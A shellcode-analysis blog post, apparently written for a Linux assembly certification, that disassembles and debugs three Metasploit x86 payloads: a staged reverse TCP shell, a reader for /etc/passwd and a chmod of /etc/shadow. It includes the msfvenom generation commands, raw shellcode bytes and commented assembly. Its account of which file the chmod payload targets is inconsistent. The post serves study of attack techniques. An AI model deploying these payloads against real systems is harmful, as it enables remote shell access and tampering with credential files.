List of linux/86 related payloads can be viewed with the following command:
msfvenom -l payloads | grep linux/x86
I chose the following three payload for analysis:
- linux/x86/shell/reverse_tcp (two staged)
I decided to analyze the two staged reverse shell. I was always curious how it works. The linux/x86/shell_reverse_tcp is the one-staged version and linux/x86/shell/reverse_tcp is the two staged version. Two staged version means that the first payload creates a channel back to the attacker machine and downloads and executes the second stage payload. This is useful if the available space for the shellcode is small. The second stage payload can be much bigger than the first one and can use the already created channel to communicate with the attacker’s machine.
I started the Metasploit and executed the following commands:
set LHOST 127.0.0.1
set LPORT 4444
I used ndisasm to disassemble the two stages.
echo -ne “\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80\x97\x5b\x68\xc0
\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1″ | ndisasm -u –
echo -ne “\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x6a\x0b\x58\x99\x52\x68
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80″ | ndisasm -u –
I converted them to asm files and added comments to make it more understandable.
global _start section .text _start: ; Create socket: xor ebx,ebx ; ebx = 0 (socket) mul ebx ; eax = 0, edx = 0 push ebx inc ebx push ebx push byte +0x2 ; on the stack: (2, 1, 0) mov al,0x66 ; socketcall = 102 mov ecx,esp ; ecx = pointer of (2, 1, 0) int 0x80 ; Save the created socket to edi: xchg eax,edi ; Connect to the given HOST and PORT: pop ebx ; ebx = 2 push dword 0x0100007f ; 127.0.0.1 push dword 0x5c110002 ; 0x5c11 = port 4444 mov ecx,esp push byte +0x66 ; socketcall = 102 pop eax push eax push ecx push edi ; save the socket to the stack mov ecx,esp inc ebx ; ebx = 3 (connect) int 0x80 ; Set memory (part of the stack) readable, writable and executable: mov dl,0x7 ; PROT_READ | PROT_WRITE | PROT_EXEC mov ecx,0x1000 ; size = 4096 mov ebx,esp shr ebx,0xc shl ebx,0xc ; ebx = esp OR 0xFF000000 mov al,0x7d ; syscall = 125 (mprotect) int 0x80 ; Read from socket to the stack: pop ebx ; restore the socket from the stack mov ecx,esp ; ecx = buffer (stack) cdq mov dh,0xc ; dx = 0xc0 = 192 mov al,0x3 ; syscall = 3 (read) int 0x80 jmp ecx ; start to execute of the read bytes
The beginning of the first stage is similar to the beginning of the reverse shell: it creates a socket and connects back to the remote machine. From this point the execution is different. It makes the stack readable, writable and executable. Finally it reads data from the socket and saves it to the stack and executes it. The last JMP instruction start to execute the downloaded code.
global _start section .text _start: ; Dup2 (STDIN, STDOUT, STDERR) mov ebx,edi ; ebx = socket push byte +0x2 pop ebx label1: push byte +0x3f ; syscall = 63 pop eax int 0x80 dec ecx jns label1 ; Execve '/bin//sh': push byte +0xb ; syscall = 11 pop eax cdq push edx ; NULL push dword 0x68732f2f ; //sh push dword 0x6e69622f ; /bin mov ebx,esp push edx push ebx mov ecx,esp int 0x80
The second stage is similar to the end of the reverse shell: the three dup2 method calls for STDIN/STDOUT/STDERR and the socket, and the execve of ‘/bin/sh’.
Three interesting things should be noticed:
- The first payload saves the second payload onto the stack.
- The second payload uses the socket which was created by the first payload.
- The shellcode contains null characters.
I checked it in the gdb. I created the executable payload first.
msfvenom -a x86 -f elf -p linux/x86/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 > shell_reverse
chmod 777 shell_reverse
Then I started the Metasploit console and set a multi handler.
set PAYLOAD linux/x86/shell/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
Finally I started the gdb.
gdb -q ./shell_reverse -tui
I had to find the entry point of the executable.
Then I set the breakpoint in the gdb.
This is the point when the second payload is downloaded and resides on the stack. In the Metasploit console we can see that the second payload is downloaded. The ECX and ESP have the same value.
In more readable format:
The next instruction is the JMP ECX. At this point the second payload is being executed.
I generated the payload with msfvenom.
msfvenom -a x86 -p linux/x86/read_file PATH=/etc/passwd > read_file
Then I used ndisasm to disassemble it.
ndisasm -u read_file
00000000 EB36 jmp short 0x38 00000002 B805000000 mov eax,0x5 00000007 5B pop ebx 00000008 31C9 xor ecx,ecx 0000000A CD80 int 0x80 0000000C 89C3 mov ebx,eax 0000000E B803000000 mov eax,0x3 00000013 89E7 mov edi,esp 00000015 89F9 mov ecx,edi 00000017 BA00100000 mov edx,0x1000 0000001C CD80 int 0x80 0000001E 89C2 mov edx,eax 00000020 B804000000 mov eax,0x4 00000025 BB01000000 mov ebx,0x1 0000002A CD80 int 0x80 0000002C B801000000 mov eax,0x1 00000031 BB00000000 mov ebx,0x0 00000036 CD80 int 0x80 00000038 E8C5FFFFFF call dword 0x2 0000003D 2F das 0000003E 657463 gs jz 0xa4 00000041 2F das 00000042 7061 jo 0xa5 00000044 7373 jnc 0xb9 00000046 7764 ja 0xac 00000048 00 db 0x00
The instructions after the call intruction in the 19. line does not make sense. This is a JMP-CALL-POP technique and these instructions are actually the string constant. I examined it with hexdump.
hexdump -C read_file
00000000 eb 36 b8 05 00 00 00 5b 31 c9 cd 80 89 c3 b8 03 |.6.....[1.......| 00000010 00 00 00 89 e7 89 f9 ba 00 10 00 00 cd 80 89 c2 |................| 00000020 b8 04 00 00 00 bb 01 00 00 00 cd 80 b8 01 00 00 |................| 00000030 00 bb 00 00 00 00 cd 80 e8 c5 ff ff ff 2f 65 74 |............./et| 00000040 63 2f 70 61 73 73 77 64 00 |c/passwd.| 00000049
It can be seen, that the ‘/etc/passwd’ string resides at the end of the shellcode. It starts from the 0x38 (56.) byte.
I updated the output of the ndisasm and added some comment. JMP and CALL instructions have a number instead off label. This can be fixed easily. The number should be replaced with a label and the label should be placed before the line where the number is the same in the first column.
00000000 EB36 jmp short find_address shellcode: ; syscall = 5 (open) 00000002 B805000000 mov eax,0x5 00000007 5B pop ebx ; ebx = pointer to path 00000008 31C9 xor ecx,ecx ; ecx = 0 (flags) 0000000A CD80 int 0x80 ; syscall = 3 (read) 0000000C 89C3 mov ebx,eax ; ebx = file descriptor 0000000E B803000000 mov eax,0x3 00000013 89E7 mov edi,esp 00000015 89F9 mov ecx,edi ; ecx = pointer to esp (buffer) 00000017 BA00100000 mov edx,0x1000 ; edx = 4096 (buffer size) 0000001C CD80 int 0x80 ; syscall = 4 (write) 0000001E 89C2 mov edx,eax 00000020 B804000000 mov eax,0x4 00000025 BB01000000 mov ebx,0x1 ; ebx = 1 (STDOUT) 0000002A CD80 int 0x80 ; syscall = 1 (exit) 0000002C B801000000 mov eax,0x1 00000031 BB00000000 mov ebx,0x0 00000036 CD80 int 0x80 find_address: 00000038 E8C5FFFFFF call dword shellcode path: db '/etc/passwd'
The read_file shellcode opens the file, reads its content, writes it to the STDOUT and exits.
I decided to analyze the shellcode with gdb. The parameters can be viewed with:
msfvenom -p linux/x86/chmod –payload-options
With the default parameter the shellcode make the /etc/shadow file readable and writable to everyone. I generated the executable.
msfvenom -a x86 -f elf -p linux/x86/chmod > chmod
I got the entry point with objdump (0x08048054).
objdump -f chmod
I started the gdb and set up the debugging environment.
gdb -q ./chmod -tui
set disassembly-flavor intel
I started to step through the instructions with stepi gdb command. The first three instructions initialize the EAX = 15 and EDX = 0. The fourth instrument pushes zero onto the stack.
The instructions which resides after the CALL instruction at 0x8048059 seems to be confusing.
I checked the memory and it looked like an ASCII string. I checked it again and it turned out to be the ‘/etc/passwd’ string.
This is a JMP-CALL-POP technique to get the pointer to the ‘/etc/passwd’ string, however the JMP instruction is missing and the string is in the middle of the shellcode. After the CALL instruction, we can see the following:
The POP EBX instruction causes that the address of the string is stored in the EBX.
There are two syscall here (int 0x80). When we reach the first syscall, the value of the registers are:
EAX = 15
EBX = 0x804805e (pointer to the ‘/etc/passwd’ string)
ECX = 0x1b6 (438)
15 is the chmod syscall, which changes the file permissions. We can check the parameters with:
man 2 chmod
The first parameter is the address to the file path. The second parameter is the mode. (0x1b6 = 110110110 = read and write by owner and group and others).
The second syscall is the exit. The exit code is the result of the previous chmod function call.
The /etc/shadow file before the execution of the shellcode:
After the execution:
* * * * *
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-691